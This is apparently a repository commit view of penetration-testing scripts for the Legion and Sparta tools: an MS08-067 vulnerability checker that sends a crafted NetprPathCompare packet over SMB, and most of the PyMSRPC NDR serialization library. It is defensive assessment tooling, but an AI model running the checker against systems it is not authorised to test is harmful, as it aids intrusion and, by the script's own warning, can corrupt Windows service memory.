New upstream version 1.0.4+git20190226
Sophie Brun
4 years ago
0 | These scripts come from the Sparta project, for optional use with our main fork, Legion: | |
1 | https://github.com/GoVanguard/legion |
0 | #!/usr/bin/env python | |
1 | ||
2 | ''' | |
3 | Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability | |
4 | ||
5 | Description: | |
6 | Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) | |
7 | ||
8 | Author: Bernardo Damele A. G. <[email protected]> | |
9 | ||
10 | License: Modified Apache 1.1 | |
11 | ||
12 | Version: 0.6 | |
13 | ||
14 | References: | |
15 | * BID: 31874 | |
16 | * CVE: 2008-4250 | |
17 | * MSB: MS08-067 | |
18 | * VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx | |
19 | * VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx | |
20 | * MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ | |
21 | * MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb | |
22 | * MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html | |
23 | * MISC: http://blogs.securiteam.com/index.php/archives/1150 | |
24 | ||
25 | Tested: | |
26 | * Windows 2000 Server Service Pack 0 | |
27 | * Windows 2000 Server Service Pack 4 with Update Rollup 1 | |
28 | * Microsoft 2003 Standard Service Pack 1 | |
29 | * Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released | |
30 | ||
31 | Notes: | |
32 | * On Windows XP SP2 and SP3 this check might lead to a race condition and | |
33 | heap corruption in the svchost.exe process, but it may not crash the | |
34 | service immediately: it can trigger later on inside any of the shared | |
35 | services in the process. | |
36 | ''' | |
37 | ||
38 | ||
39 | import socket | |
40 | import sys | |
41 | ||
42 | from optparse import OptionError | |
43 | from optparse import OptionParser | |
44 | from random import choice | |
45 | from string import letters | |
46 | from struct import pack | |
47 | from threading import Thread | |
48 | from traceback import format_exc | |
49 | ||
50 | try: | |
51 | from impacket import smb | |
52 | from impacket import uuid | |
53 | from impacket.dcerpc.v5 import dcerpc | |
54 | from impacket.dcerpc.v5 import transport | |
55 | except ImportError, _: | |
56 | print 'ERROR: this tool requires python-impacket library to be installed, get it ' | |
57 | print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' | |
58 | sys.exit(1) | |
59 | ||
60 | try: | |
61 | from ndr import * | |
62 | except ImportError, _: | |
63 | print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' | |
64 | print 'from http://code.google.com/p/pymsrpc/' | |
65 | sys.exit(1) | |
66 | ||
67 | ||
68 | CMDLINE = False | |
69 | SILENT = False | |
70 | ||
71 | ||
72 | class connectionException(Exception): | |
73 | pass | |
74 | ||
75 | ||
76 | class MS08_067(Thread): | |
77 | def __init__(self, target, port=445): | |
78 | super(MS08_067, self).__init__() | |
79 | ||
80 | self.__port = port | |
81 | self.target = target | |
82 | self.status = 'unknown' | |
83 | ||
84 | ||
85 | def __checkPort(self): | |
86 | ''' | |
87 | Open connection to TCP port to check if it is open | |
88 | ''' | |
89 | ||
90 | try: | |
91 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
92 | s.settimeout(1) | |
93 | s.connect((self.target, self.__port)) | |
94 | s.close() | |
95 | ||
96 | except socket.timeout, _: | |
97 | raise connectionException, 'connection timeout' | |
98 | ||
99 | except socket.error, _: | |
100 | raise connectionException, 'connection refused' | |
101 | ||
102 | ||
103 | def __connect(self): | |
104 | ''' | |
105 | SMB connect to the Computer Browser service named pipe | |
106 | Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html | |
107 | ''' | |
108 | ||
109 | try: | |
110 | self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) | |
111 | self.__trans.connect() | |
112 | ||
113 | except smb.SessionError, _: | |
114 | raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' | |
115 | ||
116 | except: | |
117 | #raise Exception, 'unhandled exception (%s)' % format_exc() | |
118 | raise connectionException, 'unexpected exception' | |
119 | ||
120 | ||
121 | def __bind(self): | |
122 | ''' | |
123 | DCERPC bind to SRVSVC (Server Service) endpoint | |
124 | Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html | |
125 | ''' | |
126 | ||
127 | try: | |
128 | self.__dce = self.__trans.DCERPC_class(self.__trans) | |
129 | ||
130 | self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) | |
131 | ||
132 | except socket.error, _: | |
133 | raise connectionException, 'unable to bind to SRVSVC endpoint' | |
134 | ||
135 | except: | |
136 | #raise Exception, 'unhandled exception (%s)' % format_exc() | |
137 | raise connectionException, 'unexpected exception' | |
138 | ||
139 | ||
140 | def __forgePacket(self): | |
141 | ''' | |
142 | Forge the malicious NetprPathCompare packet | |
143 | ||
144 | Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx | |
145 | ||
146 | long NetprPathCompare( | |
147 | [in, string, unique] SRVSVC_HANDLE ServerName, | |
148 | [in, string] WCHAR* PathName1, | |
149 | [in, string] WCHAR* PathName2, | |
150 | [in] DWORD PathType, | |
151 | [in] DWORD Flags | |
152 | ); | |
153 | ''' | |
154 | ||
155 | self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) | |
156 | ||
157 | self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() | |
158 | self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() | |
159 | self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() | |
160 | self.__request += ndr_long(data=1).serialize() | |
161 | self.__request += ndr_long(data=0).serialize() | |
162 | ||
163 | ||
164 | def __compare(self): | |
165 | ''' | |
166 | Compare NetprPathCompare response field 'Windows Error' with the | |
167 | expected value (WERR_OK) to confirm the target is vulnerable | |
168 | ''' | |
169 | ||
170 | self.__vulnerable = pack('<L', 0) | |
171 | ||
172 | # The target is vulnerable if the NetprPathCompare response field | |
173 | # 'Windows Error' is WERR_OK (0x00000000) | |
174 | if self.__response == self.__vulnerable: | |
175 | self.status = 'VULNERABLE' | |
176 | else: | |
177 | self.status = 'not vulnerable' | |
178 | ||
179 | self.result() | |
180 | ||
181 | ||
182 | def result(self): | |
183 | if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'): | |
184 | print '%s: %s' % (self.target, self.status) | |
185 | elif CMDLINE == True and SILENT != True: | |
186 | print '%s: %s' % (self.target, self.status) | |
187 | ||
188 | ||
189 | def run(self): | |
190 | try: | |
191 | self.__checkPort() | |
192 | self.__connect() | |
193 | self.__bind() | |
194 | except connectionException, e: | |
195 | self.status = e | |
196 | self.result() | |
197 | return None | |
198 | ||
199 | # Forge and send the NetprPathCompare operation malicious packet | |
200 | self.__forgePacket() | |
201 | self.__dce.call(32, self.__request) | |
202 | ||
203 | # Get back the NetprPathCompare response and check if it is vulnerable | |
204 | self.__response = self.__dce.recv() | |
205 | self.__compare() | |
206 | ||
207 | ||
208 | if __name__ == '__main__': | |
209 | CMDLINE = True | |
210 | ||
211 | usage = '%s [option] {-t <target>|-l <iplist.txt>}' % sys.argv[0] | |
212 | parser = OptionParser(usage=usage, version='0.4') | |
213 | targets = set() | |
214 | ||
215 | # Create command line options | |
216 | try: | |
217 | parser.add_option('-d', dest='descr', action='store_true', help='show description and exit') | |
218 | ||
219 | parser.add_option('-t', dest='target', help='target IP or hostname') | |
220 | ||
221 | parser.add_option('-l', dest='list', help='text file with list of targets') | |
222 | ||
223 | parser.add_option('-s', dest='silent', action='store_true', help='be silent') | |
224 | ||
225 | (args, _) = parser.parse_args() | |
226 | ||
227 | if not args.descr and not args.target and not args.list: | |
228 | print usage | |
229 | sys.exit(1) | |
230 | ||
231 | except (OptionError, TypeError), e: | |
232 | parser.error(e) | |
233 | ||
234 | descr = args.descr | |
235 | target = args.target | |
236 | tList = args.list | |
237 | ||
238 | SILENT = args.silent | |
239 | ||
240 | if descr: | |
241 | print __doc__ | |
242 | sys.exit(0) | |
243 | ||
244 | if tList: | |
245 | try: | |
246 | fd = open(tList, 'r') | |
247 | except IOError: | |
248 | print 'ERROR: unable to read targets list file \'%s\'' % tList | |
249 | sys.exit(1) | |
250 | ||
251 | for line in fd.readlines(): | |
252 | target = line.replace('\n', '').replace('\r', '') | |
253 | targets.add(target) | |
254 | else: | |
255 | targets.add(target) | |
256 | ||
257 | if not targets: | |
258 | print 'ERROR: no targets specified' | |
259 | sys.exit(1) | |
260 | ||
261 | targets = list(targets) | |
262 | targets.sort() | |
263 | ||
264 | if not SILENT: | |
265 | ||
266 | print '***********************************************************************' | |
267 | print '* On Windows XP SP2 and SP3 this check might lead to a race condition *' | |
268 | print '* and heap corruption in the svchost.exe process, but it may not *' | |
269 | print '* crash the service immediately, it can trigger later on inside any *' | |
270 | print '* of the shared services in the process. *' | |
271 | print '***********************************************************************' | |
272 | ||
273 | answer = raw_input('Do you want to continue? [Y/n] ') | |
274 | ||
275 | if answer and answer[0].lower() != 'y': | |
276 | sys.exit(1) | |
277 | ||
278 | for target in targets: | |
279 | current = MS08_067(target) | |
280 | current.start() |
0 | #!/usr/bin/env python | |
1 | ||
2 | ''' | |
3 | This file is part of the PyMSRPC project and is licensed under the | |
4 | project license. | |
5 | ||
6 | ndr.py | |
7 | ||
8 | This are the functions that provide all the NDR data types. It handles | |
9 | serialization and everything. I have spent a shit load of time on this and | |
10 | yet they are not 100%. This is usually due to structure padding or array | |
11 | serialization but honestly debugging it is such a beating so this is what | |
12 | I have for now. | |
13 | ||
14 | (c) 2007 Cody Pierce - BSD License - See LICENSE.txt | |
15 | ''' | |
16 | ||
17 | import sys, struct, random, re, copy | |
18 | ||
19 | DEBUG = False | |
20 | ||
21 | ####################################################################### | |
22 | # | |
23 | # Opcodes | |
24 | # | |
25 | ####################################################################### | |
26 | ||
27 | class ndr_opcode: | |
28 | def __init__(self, **kwargs): | |
29 | self.opnum = kwargs.get('opnum', 0x0) | |
30 | self.address = kwargs.get('address', 0x00000000) | |
31 | self.elements = kwargs.get('elements', []) | |
32 | self.out = kwargs.get('out', None) | |
33 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
34 | ||
35 | def align(self, data): | |
36 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
37 | ||
38 | # Allows us to set a context handle for [in] params | |
39 | def set_context_handle(self, handle): | |
40 | for elem in self.elements: | |
41 | if isinstance(elem, ndr_context_handle): | |
42 | elem.data = handle | |
43 | return True | |
44 | ||
45 | return False | |
46 | ||
47 | def serialize(self): | |
48 | serialdata = "" | |
49 | ||
50 | for elem in self.elements: | |
51 | s = elem.serialize() | |
52 | serialdata += s + self.align(s) | |
53 | ||
54 | return serialdata | |
55 | ||
56 | ####################################################################### | |
57 | # | |
58 | # NDR Parent Classes | |
59 | # | |
60 | ####################################################################### | |
61 | ||
62 | class ndr_primitive(object): | |
63 | def align(self, data): | |
64 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
65 | ||
66 | def serialize(self): | |
67 | raise NotImplementedError | |
68 | ||
69 | class ndr_container(object): | |
70 | def align(self, data): | |
71 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
72 | ||
73 | def add_static(self, obj): | |
74 | if DEBUG: print "[*] add_static", | |
75 | ||
76 | if not self.parent: | |
77 | if DEBUG: print "self" | |
78 | self.s.append(obj) | |
79 | else: | |
80 | if DEBUG: print "parent" | |
81 | self.parent.add_static(obj) | |
82 | ||
83 | def add_deferred(self, obj): | |
84 | if DEBUG: print "[*] add_deferred", | |
85 | ||
86 | if not self.parent: | |
87 | if DEBUG: print "self" | |
88 | self.d.append(obj) | |
89 | else: | |
90 | if DEBUG: print "parent" | |
91 | self.parent.add_deferred(obj) | |
92 | ||
93 | def serialize(self): | |
94 | raise NotImplementedError | |
95 | ||
96 | ####################################################################### | |
97 | # | |
98 | # Primitives | |
99 | # | |
100 | ####################################################################### | |
101 | ||
102 | class ndr_pad(ndr_primitive): | |
103 | ''' | |
104 | pad placeholder | |
105 | ''' | |
106 | def __init__(self): | |
107 | pass | |
108 | ||
109 | class ndr_byte(ndr_primitive): | |
110 | ''' | |
111 | encode: byte element_1; | |
112 | ''' | |
113 | def __init__(self, **kwargs): | |
114 | self.data = kwargs.get('data', 0x06) | |
115 | self.signed = kwargs.get('signed', False) | |
116 | self.name = kwargs.get('name', "") | |
117 | self.size = 1 | |
118 | ||
119 | def get_data(self): | |
120 | return self.data | |
121 | ||
122 | def set_data(self, new_data): | |
123 | self.data = new_data | |
124 | ||
125 | def get_name(self): | |
126 | return self.name | |
127 | ||
128 | def get_size(self): | |
129 | return self.size | |
130 | ||
131 | def serialize(self): | |
132 | if self.signed: | |
133 | return struct.pack("<b", self.data) | |
134 | else: | |
135 | return struct.pack("<B", self.data) | |
136 | ||
137 | class ndr_small(ndr_primitive): | |
138 | ''' | |
139 | encode: small element_1; | |
140 | ''' | |
141 | def __init__(self, **kwargs): | |
142 | self.data = kwargs.get('data', 0x00) | |
143 | self.signed = kwargs.get('signed', False) | |
144 | self.name = kwargs.get('name', "") | |
145 | self.size = 1 | |
146 | ||
147 | def get_data(self): | |
148 | return self.data | |
149 | ||
150 | def set_data(self, new_data): | |
151 | self.data = new_data | |
152 | ||
153 | def get_name(self): | |
154 | return self.name | |
155 | ||
156 | def get_size(self): | |
157 | return self.size | |
158 | ||
159 | def serialize(self): | |
160 | if self.signed: | |
161 | return struct.pack("<b", self.data) | |
162 | else: | |
163 | return struct.pack("<B", self.data) | |
164 | ||
165 | class ndr_char(ndr_primitive): | |
166 | ''' | |
167 | encode: char [*] element_1; | |
168 | ''' | |
169 | def __init__(self, **kwargs): | |
170 | self.data = kwargs.get('data', 0x03) | |
171 | self.signed = kwargs.get('signed', False) | |
172 | self.name = kwargs.get('name', "") | |
173 | self.size = 1 | |
174 | ||
175 | if self.signed: | |
176 | raise Exception | |
177 | ||
178 | def get_data(self): | |
179 | return self.data | |
180 | ||
181 | def set_data(self, new_data): | |
182 | self.data = new_data | |
183 | ||
184 | def get_name(self): | |
185 | return self.name | |
186 | ||
187 | def get_size(self): | |
188 | return self.size | |
189 | ||
190 | def serialize(self): | |
191 | return chr(self.data) | |
192 | ||
193 | class ndr_wchar(ndr_primitive): | |
194 | ''' | |
195 | encode: wchar element_1; | |
196 | ''' | |
197 | def __init__(self, **kwargs): | |
198 | self.data = kwargs.get('data', 0x42) | |
199 | self.signed = kwargs.get('signed', False) | |
200 | self.name = kwargs.get('name', "") | |
201 | self.size = 2 | |
202 | ||
203 | if self.signed: | |
204 | raise Exception | |
205 | ||
206 | def get_data(self): | |
207 | return self.data | |
208 | ||
209 | def set_data(self, new_data): | |
210 | self.data = new_data | |
211 | ||
212 | def get_name(self): | |
213 | return self.name | |
214 | ||
215 | def get_size(self): | |
216 | return self.size | |
217 | ||
218 | def serialize(self): | |
219 | return chr(self.data).encode("utf-16le") | |
220 | ||
221 | class ndr_void(ndr_primitive): | |
222 | ''' | |
223 | encode: void *element_1 | |
224 | ''' | |
225 | def __init__(self, **kwargs): | |
226 | self.data = kwargs.get('data', "") | |
227 | self.name = kwargs.get('name', "") | |
228 | self.size = 4 | |
229 | ||
230 | def get_data(self): | |
231 | return self.data | |
232 | ||
233 | def set_data(self, new_data): | |
234 | self.data = new_data | |
235 | ||
236 | def get_name(self): | |
237 | return self.name | |
238 | ||
239 | def get_size(self): | |
240 | return self.size | |
241 | ||
242 | def serialize(self): | |
243 | return self.data | |
244 | ||
245 | class ndr_user_marshal(ndr_primitive): | |
246 | ''' | |
247 | encode: [user_marshal(4)] struct struct_12 * elem_24; | |
248 | Untested/Unsupported because technically ths calls a | |
249 | user function | |
250 | ''' | |
251 | def __init__(self, **kwargs): | |
252 | self.num = kwargs.get('num', 0x4) | |
253 | self.data = kwargs.get('data', "") | |
254 | self.name = kwargs.get('name', "") | |
255 | self.size = 0 | |
256 | ||
257 | def get_size(self): | |
258 | return self.size | |
259 | ||
260 | def get_packed(self): | |
261 | return struct.pack("<L", self.num) | |
262 | ||
263 | class ndr_range(ndr_primitive): | |
264 | ''' | |
265 | encode: [range(0,1000)] long elem_1; | |
266 | ''' | |
267 | def __init__(self, low=0x0, high=0xffffffff, data=""): | |
268 | self.low = kwargs.get('low', 0x0) | |
269 | self.high = kwargs.get('high', 0xffffffff) | |
270 | self.data = kwargs.get('data', "") | |
271 | self.size = 0 | |
272 | ||
273 | def get_data(self): | |
274 | return self.data | |
275 | ||
276 | def set_data(self, new_data): | |
277 | self.data = new_data | |
278 | ||
279 | def get_size(self): | |
280 | return self.size | |
281 | ||
282 | def serialize(self): | |
283 | if not self.data: | |
284 | self.data = ndr_long(data=random.randint(self.low, self.high)) | |
285 | else: | |
286 | if self.data.get_data() > self.high: | |
287 | self.data.data = self.high | |
288 | elif self.data.get_data() < self.low: | |
289 | self.data.data = self.low | |
290 | ||
291 | return self.data.serialize() | |
292 | ||
293 | class ndr_enum16(ndr_primitive): | |
294 | ''' | |
295 | encode: /* enum16 */ short element_1; | |
296 | ''' | |
297 | def __init__(self, **kwargs): | |
298 | self.data = kwargs.get('data', 0x0004) | |
299 | self.signed = kwargs.get('signed', True) | |
300 | self.name = kwargs.get('name', "") | |
301 | self.size = 2 | |
302 | ||
303 | def get_data(self): | |
304 | return self.data | |
305 | ||
306 | def set_data(self, new_data): | |
307 | self.data = new_data | |
308 | ||
309 | def get_name(self): | |
310 | return self.name | |
311 | ||
312 | def get_size(self): | |
313 | return self.size | |
314 | ||
315 | def serialize(self): | |
316 | if self.signed: | |
317 | return struct.pack("<H", self.data) | |
318 | else: | |
319 | return struct.pack("<h", self.data) | |
320 | ||
321 | class ndr_short(ndr_primitive): | |
322 | ''' | |
323 | encode: short element_1; | |
324 | ''' | |
325 | def __init__(self, **kwargs): | |
326 | self.data = kwargs.get('data', 0x0004) | |
327 | self.signed = kwargs.get('signed', True) | |
328 | self.name = kwargs.get('name', "") | |
329 | self.size = 2 | |
330 | ||
331 | def get_data(self): | |
332 | return self.data | |
333 | ||
334 | def set_data(self, new_data): | |
335 | self.data = new_data | |
336 | ||
337 | def get_name(self): | |
338 | return self.name | |
339 | ||
340 | def get_size(self): | |
341 | return self.size | |
342 | ||
343 | def serialize(self): | |
344 | if self.signed: | |
345 | return struct.pack("<H", self.data) | |
346 | else: | |
347 | return struct.pack("<h", self.data) | |
348 | ||
349 | class ndr_interface(ndr_primitive): | |
350 | ''' | |
351 | encode: interface(0000000c-0000-0000-c000-000000000046) | |
352 | ''' | |
353 | def __init__(self, **kwargs): | |
354 | self.data = kwargs.get('data', "\x89" * 20) | |
355 | self.name = kwargs.get('name', "") | |
356 | self.size = 20 | |
357 | ||
358 | def get_data(self): | |
359 | return self.data | |
360 | ||
361 | def set_data(self, new_data): | |
362 | self.data = new_data | |
363 | ||
364 | def get_name(self): | |
365 | return self.name | |
366 | ||
367 | def get_size(self): | |
368 | return self.size | |
369 | ||
370 | def serialize(self): | |
371 | return self.data | |
372 | ||
373 | class ndr_long(ndr_primitive): | |
374 | ''' | |
375 | encode: long element_1; | |
376 | ''' | |
377 | def __init__(self, **kwargs): | |
378 | self.data = kwargs.get('data', 0x00000002) | |
379 | self.signed = kwargs.get('signed', True) | |
380 | self.name = kwargs.get('name', "") | |
381 | self.size = 4 | |
382 | ||
383 | def set_data(self, new_data): | |
384 | self.data = new_data | |
385 | ||
386 | def get_data(self): | |
387 | return self.data | |
388 | ||
389 | def get_name(self): | |
390 | return self.name | |
391 | ||
392 | def get_size(self): | |
393 | return self.size | |
394 | ||
395 | def serialize(self): | |
396 | if self.signed: | |
397 | return struct.pack("<l", self.data) | |
398 | else: | |
399 | return struct.pack("<L", self.data) | |
400 | ||
401 | class ndr_hyper(ndr_primitive): | |
402 | ''' | |
403 | encode: hyper (aka 64bit) element_1; | |
404 | ''' | |
405 | def __init__(self, **kwargs): | |
406 | self.data = kwargs.get('data', 0x0000000000000005) | |
407 | self.signed = kwargs.get('signed', True) | |
408 | self.name = kwargs.get('name', "") | |
409 | self.size = 8 | |
410 | ||
411 | def get_data(self): | |
412 | return self.data | |
413 | ||
414 | def set_data(self, new_data): | |
415 | self.data = new_data | |
416 | ||
417 | def get_name(self): | |
418 | return self.name | |
419 | ||
420 | def get_size(self): | |
421 | return self.size | |
422 | ||
423 | def serialize(self): | |
424 | if self.signed: | |
425 | return struct.pack("<q", self.data) | |
426 | else: | |
427 | return struct.pack("<Q", self.data) | |
428 | ||
429 | class ndr_empty(ndr_primitive): | |
430 | ''' | |
431 | used for default or empty cases in unions/unknown stuff | |
432 | ''' | |
433 | def __init__(self, **kwargs): | |
434 | self.data = kwargs.get('data', "") | |
435 | self.name = kwargs.get('name', "") | |
436 | self.size = 0 | |
437 | ||
438 | def get_data(self): | |
439 | return self.data | |
440 | ||
441 | def get_name(self): | |
442 | return self.name | |
443 | ||
444 | def get_size(self): | |
445 | return self.size | |
446 | ||
447 | def serialize(self): | |
448 | return "" | |
449 | ||
450 | class ndr_float(ndr_primitive): | |
451 | ''' | |
452 | encode: float element_1; | |
453 | ''' | |
454 | def __init__(self, **kwargs): | |
455 | self.data = kwargs.get('data', 0.0) | |
456 | self.name = kwargs.get('name', "") | |
457 | self.size = 4 | |
458 | ||
459 | def get_data(self): | |
460 | return self.data | |
461 | ||
462 | def set_data(self, new_data): | |
463 | self.data = new_data | |
464 | ||
465 | def get_name(self): | |
466 | return self.name | |
467 | ||
468 | def get_size(self): | |
469 | return self.size | |
470 | ||
471 | def serialize(self): | |
472 | return struct.pack("<f", self.data) | |
473 | ||
474 | class ndr_double(ndr_primitive): | |
475 | ''' | |
476 | encode: double element_1; | |
477 | ''' | |
478 | def __init__(self, **kwargs): | |
479 | self.data = kwargs.get('data', 0.0) | |
480 | self.name = kwargs.get('name', "") | |
481 | self.size = 8 | |
482 | ||
483 | def get_data(self): | |
484 | return self.data | |
485 | ||
486 | def set_data(self, new_data): | |
487 | self.data = new_data | |
488 | ||
489 | def get_name(self): | |
490 | return self.name | |
491 | ||
492 | def serialize(self): | |
493 | return struct.pack("<d", self.data) | |
494 | ||
495 | class ndr_string(ndr_primitive): | |
496 | ''' | |
497 | encode: char *element_1; | |
498 | ''' | |
499 | def __init__(self, **kwargs): | |
500 | self.data = kwargs.get('data', "Administrator") | |
501 | self.name = kwargs.get('name', "") | |
502 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
503 | self.size = 0 | |
504 | ||
505 | def pad(self, data): | |
506 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
507 | ||
508 | def get_data(self): | |
509 | return self.data | |
510 | ||
511 | def set_data(self, new_data): | |
512 | self.data = new_data | |
513 | ||
514 | def get_name(self): | |
515 | return self.name | |
516 | ||
517 | def get_size(self): | |
518 | return len(self.get_packed()) | |
519 | ||
520 | def serialize(self): | |
521 | # We add our null because it gets counted | |
522 | self.data += "\x00" | |
523 | ||
524 | length = len(self.data) | |
525 | ||
526 | # Conformance varying information | |
527 | return struct.pack("<L", length) \ | |
528 | + struct.pack("<L", 0) \ | |
529 | + struct.pack("<L", length) \ | |
530 | + self.data \ | |
531 | + self.pad(self.data) \ | |
532 | ||
533 | class ndr_wstring(ndr_primitive): | |
534 | ''' | |
535 | encode: wchar *element_1; | |
536 | ''' | |
537 | def __init__(self, **kwargs): | |
538 | self.data = kwargs.get('data', "\\\\EXCHANGE2K3") | |
539 | self.name = kwargs.get('name', "") | |
540 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
541 | self.size = 0 | |
542 | ||
543 | def pad(self, data): | |
544 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
545 | ||
546 | def set_data(self, new_data): | |
547 | self.data = new_data | |
548 | ||
549 | def get_data(self): | |
550 | return self.data | |
551 | ||
552 | def get_name(self): | |
553 | return self.name | |
554 | ||
555 | def get_size(self): | |
556 | return len(self.get_packed()) | |
557 | ||
558 | def serialize(self): | |
559 | # Add our wide null because it gets counted | |
560 | data = self.data.encode("utf-16le") + "\x00\x00" | |
561 | ||
562 | length = len(data) / 2 | |
563 | return struct.pack("<L", length) \ | |
564 | + struct.pack("<L", 0) \ | |
565 | + struct.pack("<L", length) \ | |
566 | + data \ | |
567 | + self.pad(data) | |
568 | ||
569 | class ndr_string_nonconformant(ndr_primitive): | |
570 | ''' | |
571 | encode: [string] char element_1[3]; | |
572 | ''' | |
573 | def __init__(self, **kwargs): | |
574 | self.data = kwargs.get('data', "ABCDEFG") | |
575 | self.name = kwargs.get('name', "") | |
576 | self.size = kwargs.get('size', 0) | |
577 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
578 | ||
579 | def pad(self, data): | |
580 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
581 | ||
582 | def set_data(self, new_data): | |
583 | self.data = new_data | |
584 | ||
585 | def get_data(self): | |
586 | return self.data | |
587 | ||
588 | def get_name(self): | |
589 | return self.name | |
590 | ||
591 | def get_size(self): | |
592 | return len(self.get_packed()) | |
593 | ||
594 | def serialize(self): | |
595 | # Make sure we stick to our size | |
596 | if len(self.data) < self.size: | |
597 | self.size = len(self.data) | |
598 | data = self.data | |
599 | else: | |
600 | data = self.data[:self.size - 1] | |
601 | ||
602 | # Add our null | |
603 | data += "\x00" | |
604 | ||
605 | return struct.pack("<L", 0) \ | |
606 | + struct.pack("<L", self.size) \ | |
607 | + data \ | |
608 | + self.pad(data) | |
609 | ||
610 | class ndr_wstring_nonconformant(ndr_primitive): | |
611 | ''' | |
612 | encode: [string] wchar_t element_1[3]; | |
613 | ''' | |
614 | def __init__(self, **kwargs): | |
615 | self.data = kwargs.get('data', "ABCDEFG") | |
616 | self.name = kwargs.get('name', "") | |
617 | self.size = kwargs.get('size', 0) | |
618 | self.align_byte = kwargs.get('align_byte', "\xaa") | |
619 | ||
620 | def pad(self, data): | |
621 | return self.align_byte * ((4 - (len(data) & 3)) & 3) | |
622 | ||
623 | def set_data(self, new_data): | |
624 | self.data = new_data | |
625 | ||
626 | def get_data(self): | |
627 | return self.data | |
628 | ||
629 | def get_name(self): | |
630 | return self.name | |
631 | ||
632 | def get_size(self): | |
633 | return len(self.get_packed()) | |
634 | ||
635 | def serialize(self): | |
636 | # Make sure we stick to our size | |
637 | if len(self.data) < self.size: | |
638 | self.size = len(self.data) / 2 | |
639 | data = self.data | |
640 | else: | |
641 | data = self.data[:self.size - 1] | |
642 | ||
643 | # Add our wide null | |
644 | data = data.encode("utf-16le") + "\x00\x00" | |
645 | ||
646 | return struct.pack("<L", 0) \ | |
647 | + struct.pack("<L", self.size) \ | |
648 | + data \ | |
649 | + self.pad(data) | |
650 | ||
651 | class ndr_error_status(ndr_primitive): | |
652 | def __init__(self, **kwargs): | |
653 | self.data = kwargs.get('data', 0x00000000) | |
654 | self.name = kwargs.get('name', "") | |
655 | self.size = 4 | |
656 | ||
657 | def get_data(self): | |
658 | return self.data | |
659 | ||
660 | def set_data(self, new_data): | |
661 | self.data = new_data | |
662 | ||
663 | def get_name(self): | |
664 | return self.name | |
665 | ||
666 | def get_size(self): | |
667 | return self.size | |
668 | ||
669 | def serialize(self): | |
670 | return struct.pack("<L", self.data) | |
671 | ||
672 | class ndr_callback(ndr_primitive): | |
673 | ''' | |
674 | encodes size_is(callback_0x12345678) | |
675 | Unsupported because it calls a user function | |
676 | ''' | |
677 | def __init__(self, **kwargs): | |
678 | self.data = kwargs.get('data', 0x00000000) | |
679 | self.name = kwargs.get('name', "") | |
680 | self.size = 4 | |
681 | ||
682 | def get_data(self): | |
683 | return self.data | |
684 | ||
685 | def set_data(self, new_data): | |
686 | self.data = new_data | |
687 | ||
688 | def get_name(self): | |
689 | return self.name | |
690 | ||
691 | def get_size(self): | |
692 | return self.size | |
693 | ||
694 | def serialize(self): | |
695 | return struct.pack("<L", self.data) | |
696 | ||
697 | class ndr_context_handle(ndr_primitive): | |
698 | ''' | |
699 | encodes: [in] context_handle arg_1 | |
700 | ''' | |
701 | def __init__(self, **kwargs): | |
702 | self.data = kwargs.get('data', "\x88" * 20) | |
703 | self.name = kwargs.get('name', "") | |
704 | self.size = 20 | |
705 | ||
706 | def get_data(self): | |
707 | return self.data | |
708 | ||
709 | def get_name(self): | |
710 | return self.name | |
711 | ||
712 | def get_size(self): | |
713 | return self.size | |
714 | ||
715 | def serialize(self): | |
716 | return self.data | |
717 | ||
718 | class ndr_pipe(ndr_primitive): | |
719 | ''' | |
720 | I need an example plz2u | |
721 | ''' | |
722 | def __init__(self, **kwargs): | |
723 | self.data = kwargs.get('data', "\x8a" * 20) | |
724 | self.name = kwargs.get('name', "") | |
725 | self.size = 20 | |
726 | ||
727 | def get_data(self): | |
728 | return self.data | |
729 | ||
730 | def get_name(self): | |
731 | return self.name | |
732 | ||
733 | def get_size(self): | |
734 | return self.size | |
735 | ||
736 | def serialize(self): | |
737 | return self.data | |
738 | ||
739 | class ndr_handle_t(ndr_primitive): | |
740 | ''' | |
741 | encode: handle_t element_1 (not sent on network) | |
742 | ''' | |
743 | def __init__(self, **kwargs): | |
744 | self.data = kwargs.get('data', "") | |
745 | self.name = kwargs.get('name', "") | |
746 | self.size = 0 | |
747 | ||
748 | def get_data(self): | |
749 | return self.data | |
750 | ||
751 | def get_name(self): | |
752 | return self.name | |
753 | ||
754 | def get_size(self): | |
755 | return self.size | |
756 | ||
757 | def serialize(self): | |
758 | return "" | |
759 | ||
760 | ####################################################################### | |
761 | # | |
762 | # Unions | |
763 | # | |
764 | ####################################################################### | |
765 | ||
766 | class ndr_union: | |
